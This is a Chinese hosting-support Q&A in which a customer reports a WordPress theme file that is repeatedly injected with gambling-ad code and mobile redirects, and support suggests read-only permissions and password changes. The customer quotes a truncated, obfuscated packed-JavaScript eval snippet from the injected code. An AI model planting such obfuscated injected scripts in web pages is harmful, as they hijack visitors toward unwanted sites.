问：后台提示被挂马，内容如下（对应的文件是/2162.html/index.html.bak）： 03:37:59)网站因存在木马（特征: 热血传奇，路径：wp-content/cache/supercache/www.tvtv.hk/archives/2162.html/index.html5月1日左右也有类似提示，发现/www/wp-content/themes/minty/header.php被加入代码（葡京在线的广告，见文末），删除后将所有/minty/目录下的文件全部设置为只读。今天又提示被挂马，虽然header.php没有被修改，但我知道木马肯定没清理干净。前几天，我还将数据库和根目录下所有文件复制到一个新的云主机下，更换域名（www.qupc.net），目录可读可写，关闭WP Super Cache缓存插件，发现过了几天header.php自动被写入上次一样的代码。除了文件头被修改，用手机浏览网站，有时会自动跳转到广告网站，而且只有第一次浏览会跳转，然后过几天才能再跳转，试了电信、移动都是如此，换手机也是一样。（网址没记，好像每次都不一样）。
< type=\”text/javascript\”>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\”\”:e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!\’\’.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){r
答：您好，
??1、wp-content/cache/supercache/www.tvtv.hk/archives/2162.html/index.html 不是挂马文件，您网页内容含有关键词“热血传奇”，请您修改下关键词。
??2、我司通过工具扫描和分析近期访问日志，没有发现挂马文件。通过文件管理只设置了www只读，www下目录没有设置只读，建议您设置不需要修改文件只读。
3、如再次出现挂马修改文件，请暂时不要恢复修改文件，我司需要通过修改时间点日志分析排查，非常感谢您长期对我司的支持!
问：这么说热血传奇是误报了，可是被篡改为什么查不出？我换了服务器都没用，太不寻常了吧截图为header.php第一次被篡改的时间：2018?年?5?月?1?日，??23:24:36。之后我将header.php设为只读，虽然没有再被篡改，但是今天的百度搜索依然出现了异常。而且换服务器换域名后，header.php一旦改回可读可写，还是会被篡改，可见还是有问题的。
问：补充一点，对比了一下FTP和后台管理器的时间，发现相差8小时，我本地保留的header.php是从FTP下载的，显示的也是FTP时间，那么header.php真正的修改时间应该是5月1日15：24：36
答：您好，
1、对应时间日志中查看，通过您网站后台编辑过文件，请核实是不是您当时操作过。如果不是，建议您修改后台密码和后台路径再观察。
2、百度快照并没有更新，请访问http://help.baidu.com/newadd?prod_id=1&category=1&link=http%3A%2F%2Fcache.baiducontent.com%2Fc%3Fm%3D9d78d513d9d430dc4f9b93697c65cba6d0020ea78449e3732b415011e8aca7d13b275fa0131aacbe3df2de8d9f4aaafdd66e6b9f27432a459bf4%26p%3D876ad415d9c041a90cb08c2d0214bb%26newp%3D92769a479e9d33ee44bd9b7d0ddb2151d4db1e6b82c825d7331b001c3bbfbd6c37b6603a4485debf13ca3dda5c91d9fb4c57479c%26user%3Dbaidu%26fm%3Dsc%26query%3D%25CA%25D5%25CA%25D3%25C2%25CA%25B2%25E9%25D1%25AF%26qid%3De100a6c70000c0d5%26p1%3D6 投诉更新快照，非常感谢您长期对我司的支持!
西部数码（west.cn）是经工信部、ICANN、CNNIC认证审批，持有ISP、云牌照、IDC、CDN、顶级域名注册商等全业务资质的正规老牌服务商，自成立至今20余年专注于域名注册、虚拟主机、云服务器、企业邮箱、企业建站等互联网基础服务！
截止目前，已经为超过2000万个域名提供了注册、解析等服务，是中国五星级域名注册注册商！已为超过50万个网站提供了高速稳定的云托管服务，获评中国最受用户喜欢云主机服务商。
西部数码提供全方位7X24H专业售后支撑，域名注册特价1元起，高速稳定云主机45元起，更多详情请浏览西部数码官网：https://www.west.cn/
